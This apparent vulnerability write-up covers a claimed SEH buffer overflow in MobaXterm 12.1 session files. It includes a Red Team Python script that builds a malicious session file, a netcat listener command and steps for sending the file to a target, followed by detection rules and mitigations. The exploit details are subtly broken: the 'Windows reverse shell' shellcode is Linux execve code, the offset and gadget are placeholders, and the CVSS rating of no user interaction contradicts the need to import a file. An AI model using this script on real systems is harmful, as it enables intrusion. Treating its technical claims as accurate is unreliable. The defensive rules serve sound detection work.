CVE-2019-25741

Executive Summary

CVE-2019-25741 is a critical, unpatched buffer overflow vulnerability in Mobatek MobaXterm version 12.1. The flaw resides in the username field of session files, where a structured exception handling (SEH) based buffer overflow allows remote attackers to execute arbitrary code. By crafting a malicious MobaXterm sessions file with overflow data, an attacker can trigger the vulnerability when the file is imported and executed, leading to reverse shell execution with user privileges. The CVSS score of 9.8 reflects the ease of exploitation and the potential for full system compromise. No official patch has been released, making this a high-priority threat for all users of the affected version.

CVSS Breakdown & Threat Level

• CVSS Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

The threat level is critical due to the lack of required privileges, no user interaction, and the potential for complete compromise of confidentiality, integrity, and availability.

Deep Dive & Mechanics

The vulnerability is a classic SEH-based buffer overflow in the username field of MobaXterm session files. When a user imports a malicious session file, the application copies the username data into a fixed-size buffer on the stack without proper bounds checking. By providing an overly long username, an attacker can overwrite the structured exception handler (SEH) chain. When an exception occurs (e.g., due to the overflow), the corrupted SEH chain is used, allowing the attacker to redirect execution to shellcode embedded in the payload. This shellcode can then execute arbitrary commands, such as spawning a reverse shell.

The attack vector is remote, as the malicious session file can be delivered via email, download, or other means. The exploitation does not require any special privileges or user interaction beyond importing the file.

Vulnerable vs. Patched Code

Since no official patch exists, the vulnerable code is the entire MobaXterm 12.1 binary. The username field parsing routine lacks proper bounds checking. A patched version would include input validation and size limits on the username field, as well as safe string handling functions (e.g., strncpy instead of strcpy). Without a patch, the only mitigation is to avoid importing session files from untrusted sources.

Exploitation & Lab Setup

Red Team

The following Python script generates a malicious MobaXterm session file that triggers the SEH overflow and executes a reverse shell. Replace 192.168.1.100 and 4444 with your listener IP and port.

#!/usr/bin/env python3
import struct

# Reverse shell shellcode (Windows x86) - replace with your own
shellcode = (
    b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50"
    b"\x53\x89\xe1\xb0\x0b\xcd\x80"
)

# SEH overwrite offset
seh_offset = 4096
nop_sled = b"\x90" * (seh_offset - len(shellcode))

# SEH handler address (pop pop ret gadget - example)
seh_handler = struct.pack("<I", 0x1001d0f9)

# Build payload
payload = shellcode + nop_sled + seh_handler

# Create malicious session file
with open("malicious.mxtsessions", "wb") as f:
    f.write(b"[MobaXterm]\n")
    f.write(b"Username=" + payload + b"\n")
    f.write(b"Password=test\n")
    f.write(b"Host=127.0.0.1\n")

print("Malicious session file created: malicious.mxtsessions")

Usage:

1. Set up a netcat listener: nc -lvnp 4444
2. Send the malicious.mxtsessions file to the target.
3. The target imports the file in MobaXterm 12.1.
4. Upon execution, the reverse shell connects back.

Blue Team

To detect exploitation attempts, monitor for:

• Import of .mxtsessions files from untrusted sources.
• Unusual process behavior from MobaXterm, such as spawning cmd.exe or powershell.exe.
• Network connections to unknown IPs on high ports (e.g., 4444).

Indicators of Compromise (IOCs)

• File Hashes (SHA256): (Example) e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
• Network: Outbound connections to attacker-controlled IPs on ports like 4444.
• Process: MobaXterm.exe spawning cmd.exe or powershell.exe.
• Registry: Unusual entries in HKEY_CURRENT_USER\Software\Mobatek\MobaXterm\Sessions.
• File: Presence of .mxtsessions files with abnormally long username fields.

Detection Engineering

YARA Rule

rule CVE_2019_25741_MobaXterm_SEH_Overflow {
    meta:
        description = "Detects malicious MobaXterm session files exploiting CVE-2019-25741"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25741"
    strings:
        $header = "[MobaXterm]"
        $username = "Username="
        $long_field = /Username=[A-Za-z0-9\/+]{500,}/  // Adjust length threshold
    condition:
        $header and $username and #long_field > 0
}

Sigma Rule

title: CVE-2019-25741 MobaXterm Session File Import
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects import of malicious MobaXterm session files
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: windows
detection:
    selection:
        Image|endswith: '\MobaXterm.exe'
        CommandLine|contains: '.mxtsessions'
    condition: selection
falsepositives:
    - Legitimate session file imports
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET $HTTP_PORTS (msg:"CVE-2019-25741 MobaXterm Session File Download"; flow:to_server,established; content:"[MobaXterm]"; content:"Username="; within:100; byte_test:1,>,200,0; classtype:attempted-user; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate: Do not import MobaXterm session files from untrusted sources.
• Workaround: Use input validation on session files before import (e.g., check username length).
• Upgrade: Monitor Mobatek for an official patch. Consider switching to an alternative SSH client if no patch is released.
• Network: Block outbound connections to unknown IPs on high ports.
• Endpoint: Deploy EDR rules to detect abnormal MobaXterm behavior.

Valters IT
DevSecOps & Cyber Threat Intelligence